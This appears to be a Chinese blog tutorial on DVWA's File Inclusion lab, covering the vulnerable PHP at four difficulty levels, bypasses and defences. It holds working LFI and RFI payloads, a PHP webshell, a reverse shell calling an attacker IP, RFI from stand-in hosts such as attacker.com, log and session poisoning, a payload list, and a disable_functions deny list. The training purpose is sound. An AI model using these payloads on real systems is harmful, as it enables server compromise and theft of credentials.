0%

DVWA - File Inclusion (文件包含) 攻防练习详解

目录


漏洞简介

什么是文件包含(File Inclusion)?

文件包含漏洞允许攻击者通过Web应用程序包含和执行任意文件。分为本地文件包含(LFI)和远程文件包含(RFI)两种。

本地文件包含(LFI - Local File Inclusion):

  • 包含服务器上的本地文件
  • 读取敏感文件(/etc/passwd, config.php等)
  • 结合文件上传获取WebShell

远程文件包含(RFI - Remote File Inclusion):

  • 包含远程服务器上的文件
  • 直接执行远程恶意代码
  • 获取WebShell

危害:

  • 读取敏感文件(密码、配置文件)
  • 执行任意PHP代码
  • 获取WebShell
  • 完全控制服务器
  • 内网渗透

常见场景:

  • 模板系统
  • 多语言切换
  • 动态包含页面

Low 难度

攻击目标

无任何过滤的文件包含,可直接利用。

后端代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

// 获取page参数
// $_GET['page'] - 从URL获取page参数
// 例如:?page=include.php
$file = $_GET[ 'page' ];

// ★★★ 危险操作:直接包含用户指定的文件 ★★★
// include() - PHP文件包含函数
// 作用:将指定文件的内容包含到当前脚本中并执行
//
// 问题:完全没有验证$file的值!
// 用户可以指定任意文件路径
// 如果文件包含PHP代码,会被直接执行
//
// 示例:
// ?page=file1.php - 正常包含
// ?page=../../etc/passwd - 读取系统文件
// ?page=http://evil.com/shell.php - 远程文件包含(需开启allow_url_include)
include( $file );

?>

漏洞分析

核心问题:

  1. 直接包含用户输入 - 没有任何验证
  2. 无路径限制 - 可以使用../目录遍历
  3. 无文件类型检查 - 可以包含任意文件
  4. 无白名单 - 接受任何文件名

攻击原理:

1
2
3
4
5
6
7
8
9
10
11
// 正常使用
?page=file1.php
include('file1.php'); // 包含file1.php

// 目录遍历
?page=../../etc/passwd
include('../../etc/passwd'); // 读取系统密码文件

// 远程包含(需要allow_url_include=On)
?page=http://evil.com/shell.php
include('http://evil.com/shell.php'); // 执行远程PHP代码

攻击步骤

步骤1:测试文件包含

测试1:包含其他页面

1
2
3
?page=file1.php
?page=file2.php
?page=file3.php

测试2:目录遍历

1
2
3
?page=../index.php
?page=../../config/config.inc.php
?page=../../../etc/passwd

步骤2:读取敏感文件(Linux)

读取/etc/passwd:

1
2
3
4
5
?page=../../../etc/passwd
?page=../../../../etc/passwd
?page=../../../../../etc/passwd

<!-- 继续增加../直到成功 -->

读取Apache配置:

1
2
?page=../../../../etc/apache2/apache2.conf
?page=../../../../etc/httpd/conf/httpd.conf

读取MySQL配置:

1
2
?page=../../../../etc/my.cnf
?page=../../../../etc/mysql/my.cnf

读取PHP配置:

1
?page=../../../../etc/php/7.4/apache2/php.ini

读取DVWA配置(包含数据库密码):

1
?page=../../config/config.inc.php

步骤3:读取敏感文件(Windows)

读取系统文件:

1
2
3
?page=C:\\Windows\\System32\\drivers\\etc\\hosts
?page=C:\\Windows\\win.ini
?page=C:\\boot.ini

读取Web配置:

1
2
?page=C:\\xampp\\apache\\conf\\httpd.conf
?page=C:\\wamp\\bin\\apache\\apache2.4.9\\conf\\httpd.conf

步骤4:使用PHP伪协议

php://filter读取源码:

1
2
3
4
5
<!-- Base64编码读取PHP源码 -->
?page=php://filter/convert.base64-encode/resource=index.php

<!-- 结果会输出Base64编码的PHP源码 -->
<!-- 然后使用base64 -d解码 -->

php://input执行代码(需要POST):

1
2
3
4
5
POST /dvwa/vulnerabilities/fi/?page=php://input HTTP/1.1

<?php system('whoami'); ?>

<!-- 结果:执行whoami命令 -->

data://执行代码:

1
2
3
4
?page=data://text/plain,<?php system('whoami'); ?>

<!-- 或使用Base64 -->
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTsgPz4=

步骤5:远程文件包含(RFI)

前提条件:

  • php.ini中allow_url_include = On
  • php.ini中allow_url_fopen = On

创建恶意PHP文件(shell.php):

1
2
3
4
<?php
// 简单的WebShell
system($_GET['cmd']);
?>

上传到攻击者服务器:

1
http://attacker.com/shell.php

包含远程文件:

1
?page=http://attacker.com/shell.php&cmd=whoami

反弹Shell:

1
2
3
4
5
6
<!-- shell.php内容 -->
<?php
// 反弹shell到攻击者
$sock = fsockopen("攻击者IP", 4444);
$proc = proc_open("/bin/sh", [0=>$sock, 1=>$sock, 2=>$sock], $pipes);
?>
1
2
3
4
5
<!-- 攻击者监听 -->
nc -lvp 4444

<!-- 包含 -->
?page=http://attacker.com/shell.php

步骤6:日志注入(LFI转RCE)

原理:
将PHP代码写入日志文件,然后通过LFI包含日志文件执行。

步骤:

  1. 向User-Agent注入PHP代码
1
2
3
GET /dvwa/vulnerabilities/fi/ HTTP/1.1
Host: dvwa.local
User-Agent: <?php system('whoami'); ?>
  1. 包含Apache访问日志
1
?page=../../../../var/log/apache2/access.log
  1. 结果:日志中的PHP代码被执行

其他可注入的日志:

1
2
3
4
5
6
/var/log/apache2/access.log
/var/log/apache2/error.log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/auth.log
/var/log/mail.log

步骤7:Session文件包含

PHP Session文件位置:

1
2
3
/var/lib/php/sessions/sess_{PHPSESSID}
/var/lib/php5/sess_{PHPSESSID}
/tmp/sess_{PHPSESSID}

攻击步骤:

  1. 在其他页面向Session写入恶意代码
  2. 包含Session文件执行代码
1
2
3
4
5
6
7
8
<!-- 在其他页面 -->
<?php
session_start();
$_SESSION['name'] = '<?php system("whoami"); ?>';
?>

<!-- 包含session文件 -->
?page=../../../../tmp/sess_{你的PHPSESSID}

Medium 难度

攻击目标

添加了简单的过滤,但可以绕过。

后端代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php

$file = $_GET[ 'page' ];

// ★★★ 新增:使用str_replace()过滤 ★★★
// str_replace() - 字符串替换函数
// 参数1:要查找的字符串数组
// 参数2:替换成的字符串
// 参数3:被搜索的字符串
// 返回值:替换后的字符串
//
// 这里过滤了:
// http:// - 防止远程文件包含
// https:// - 防止远程文件包含
//
// 问题:
// 1. 只过滤一次,可以双写绕过
// 2. 不过滤../,仍可目录遍历
// 3. 不过滤PHP伪协议
$file = str_replace( array( "http://", "https://" ), "", $file );

// 包含文件
include( $file );

?>

新增防护

  1. 过滤http:// - 防止RFI
  2. 过滤https:// - 防止HTTPS的RFI

仍存在的漏洞

  1. 只替换一次 - 可以双写绕过
  2. 不过滤../ - 目录遍历仍有效
  3. 不过滤PHP伪协议 - php://filter等仍可用
  4. 不过滤其他协议 - ftp://, data://等

绕过方法

方法1:目录遍历(仍然有效)

1
2
?page=../../../etc/passwd
?page=../../config/config.inc.php

方法2:双写绕过

1
2
3
4
5
6
7
8
原始:http://evil.com/shell.php
被过滤:evil.com/shell.php

绕过:hthttp://tp://evil.com/shell.php
处理过程:
1. str_replace('http://', '', 'hthttp://tp://evil.com/shell.php')
2. 结果:http://evil.com/shell.php
3. 绕过成功!

方法3:大小写混淆(无效)

1
2
3
<!-- str_replace是大小写敏感的,但这里无效 -->
?page=HTTP://evil.com/shell.php ✗ (仍会被过滤)
?page=Http://evil.com/shell.php ✗

方法4:使用PHP伪协议

1
2
3
4
<!-- 完全有效 -->
?page=php://filter/convert.base64-encode/resource=index.php
?page=php://input
?page=data://text/plain,<?php system('whoami'); ?>

方法5:使用其他协议

1
2
?page=ftp://evil.com/shell.php
?page=file:///etc/passwd

High 难度

攻击目标

更严格的过滤,但仍可绕过。

后端代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php

$file = $_GET[ 'page' ];

// ★★★ 新增:fnmatch()检查文件名 ★★★
// fnmatch() - 用模式匹配文件名
// 参数1:模式(通配符)
// 参数2:要检查的字符串
// 参数3:可选标志
// 返回值:匹配返回true,否则false
//
// 模式:file*.php
// file - 文件名必须以file开头
// * - 匹配任意字符
// .php - 必须以.php结尾
//
// 问题:
// 1. 只检查文件名格式,不检查路径
// 2. 仍可使用../进行目录遍历
// 3. 可以在file和.php之间插入任意内容
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {

// 不符合格式,返回
echo "ERROR: File not found!";
exit;
}

// 包含文件
include( $file );

?>

新增防护

  1. fnmatch()检查 - 文件名必须以file开头

仍存在的漏洞

关键问题:

1
2
3
4
5
6
fnmatch("file*", $file)

// 检查:
"file1.php" ✓ 匹配
"file2.php" ✓ 匹配
"file../../../etc/passwd" ✓ 仍然匹配!

fnmatch()只检查文件名模式,不限制路径!

绕过方法

方法1:目录遍历(仍有效)

1
2
3
?page=file../../../etc/passwd
?page=file../../../../etc/passwd
?page=file../../config/config.inc.php

原理:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
输入:file../../../etc/passwd

fnmatch检查:
"file*" 匹配 "file../../../etc/passwd"

include执行:
include("file../../../etc/passwd");

实际路径:
当前目录/file../../../etc/passwd
= 当前目录/../../../etc/passwd
= /etc/passwd

成功读取!

方法2:结合NULL字节(PHP < 5.3.4)

1
2
3
4
5
6
7
?page=file1.php%00../../etc/passwd

<!-- NULL字节会截断 -->
<!-- 检查:file1.php -->
<!-- 实际包含:file1.php(%00后面被忽略) -->

注意:PHP 5.3.4+已修复此漏洞

Impossible 难度

攻击目标

使用白名单验证,真正安全。

后端代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php

$file = $_GET[ 'page' ];

// ★★★ 核心防护:白名单验证 ★★★
// 定义允许的文件数组
// 只有在这个数组中的文件才能被包含
$allowed_files = array(
'include.php',
'file1.php',
'file2.php',
'file3.php'
);

// ★★★ 检查文件是否在白名单中 ★★★
// in_array() - 检查数组中是否存在某个值
// 参数1:要查找的值
// 参数2:数组
// 参数3:是否严格比较(可选)
// 返回值:存在返回true,否则false
//
// 作用:只允许白名单中的文件
// 任何不在列表中的文件都会被拒绝
if( !in_array( $file, $allowed_files ) ) {

// 不在白名单中,拒绝
echo "ERROR: File not found!";
exit;
}

// ★★★ 白名单验证通过,安全包含 ★★★
include( $file );

?>

完善的防护机制

白名单工作原理:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
允许的文件:
- include.php
- file1.php
- file2.php
- file3.php

用户输入:file1.php
in_array('file1.php', $allowed_files) → true
include('file1.php') → 执行

用户输入:../../../etc/passwd
in_array('../../../etc/passwd', $allowed_files) → false
拒绝!

用户输入:file1.php%00../../etc/passwd
in_array('file1.php%00../../etc/passwd', $allowed_files) → false
拒绝!

为什么无法攻破?

所有攻击都被拒绝:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
尝试1:../../../etc/passwd
in_array() → false
结果:ERROR: File not found!

尝试2file../../../etc/passwd
in_array() → false
结果:ERROR: File not found!

尝试3:php://filter/...
in_array() → false
结果:ERROR: File not found!

尝试4:http://evil.com/shell.php
in_array() → false
结果:ERROR: File not found!

尝试5:data://...
in_array() → false
结果:ERROR: File not found!

关键防御点:

  1. 白名单机制 - 只允许明确列出的文件
  2. 完全匹配 - 必须完全相同,无法部分匹配
  3. 无路径解析 - 不解析../或其他路径操作
  4. 拒绝一切未知 - 默认拒绝策略

防御建议

代码层面

1. 使用白名单(最佳方案)

1
2
3
4
5
6
7
8
9
// 定义允许的文件
$whitelist = ['page1.php', 'page2.php', 'page3.php'];

// 验证
if (!in_array($_GET['page'], $whitelist)) {
die('Invalid page');
}

include($_GET['page']);

2. 禁用危险功能

1
2
3
; php.ini配置
allow_url_fopen = Off ; 禁止URL文件访问
allow_url_include = Off ; 禁止URL文件包含

3. 使用basename()限制路径

1
2
3
4
5
6
7
// basename() - 返回路径中的文件名部分
// 去除目录路径
$file = basename($_GET['page']);

// 只会包含当前目录的文件
// ../../../etc/passwd → passwd
include($file . '.php');

4. 限制包含目录

1
2
3
4
5
6
7
8
9
10
11
// realpath() - 返回规范化的绝对路径
// 会解析../等符号
$base_dir = '/var/www/html/includes/';
$file = realpath($base_dir . $_GET['page']);

// 检查文件是否在允许的目录中
if (strpos($file, $base_dir) !== 0) {
die('Access denied');
}

include($file);

5. 使用Switch语句

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// 根据参数选择包含的文件
switch($_GET['page']) {
case 'home':
include('home.php');
break;
case 'about':
include('about.php');
break;
case 'contact':
include('contact.php');
break;
default:
include('404.php');
}

系统层面

  1. 最小权限

    • Web进程使用低权限用户(www-data)
    • 限制可读文件
  2. 禁用危险函数

    1
    2
    ; php.ini
    disable_functions = system,exec,passthru,shell_exec,proc_open,popen
  3. 开启open_basedir

    1
    2
    ; 限制PHP访问的目录
    open_basedir = /var/www/html/

监控层面

  1. 日志监控

    • 记录所有include/require操作
    • 检测../模式
  2. WAF规则

    • 检测../模式
    • 检测php://、data://等伪协议
    • 检测/etc/passwd等敏感文件

总结对比

特性 Low Medium High Impossible
输入验证 str_replace fnmatch 白名单
过滤内容 http://, https:// 无(只检查格式) N/A
目录遍历 ✓ 可行 ✓ 可行 ✓ 可行 ✗ 不可行
RFI ✓ 可行 ✓ 可绕过 ✓ 可行 ✗ 不可行
PHP伪协议 ✓ 可行 ✓ 可行 ✓ 可行 ✗ 不可行
攻击难度 极易 简单 简单 不可能

常用Payload集合

LFI(本地文件包含)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<!-- 目录遍历 -->
../../../etc/passwd
../../../../etc/passwd
../../../../../../etc/passwd

<!-- Windows -->
../../../windows/win.ini
C:\\Windows\\System32\\drivers\\etc\\hosts

<!-- 敏感文件 -->
../../../etc/shadow
../../../etc/my.cnf
../../config/config.inc.php
../../../var/log/apache2/access.log

RFI(远程文件包含)

1
2
3
http://evil.com/shell.php
https://evil.com/shell.txt
ftp://evil.com/shell.php

PHP伪协议

1
2
3
4
5
6
7
8
9
10
11
12
13
<!-- php://filter -->
php://filter/convert.base64-encode/resource=index.php
php://filter/read=string.rot13/resource=index.php

<!-- php://input -->
php://input (需要POST数据)

<!-- data:// -->
data://text/plain,<?php system('whoami'); ?>
data://text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTsgPz4=

<!-- expect:// -->
expect://whoami

NULL字节绕过(PHP < 5.3.4)

1
2
file.php%00
../../../etc/passwd%00

实战建议

学习路径:

  1. Low难度 - 理解LFI和RFI原理
  2. Medium难度 - 学习绕过str_replace
  3. High难度 - 理解fnmatch绕过
  4. Impossible难度 - 掌握白名单防御

攻击技巧:

  • 从../开始,逐步增加层级
  • 尝试各种PHP伪协议
  • 结合日志注入
  • 结合文件上传

工具推荐:

  • Burp Suite - 请求修改
  • LFISuite - 自动化LFI利用
  • Kadimus - LFI/RFI扫描

道德准则:

  • 只在授权环境测试
  • 不读取真实系统敏感文件
  • 学习是为了防御,不是攻击
点这里请我吃个小蛋糕吧~~

Welcome to my other publishing channels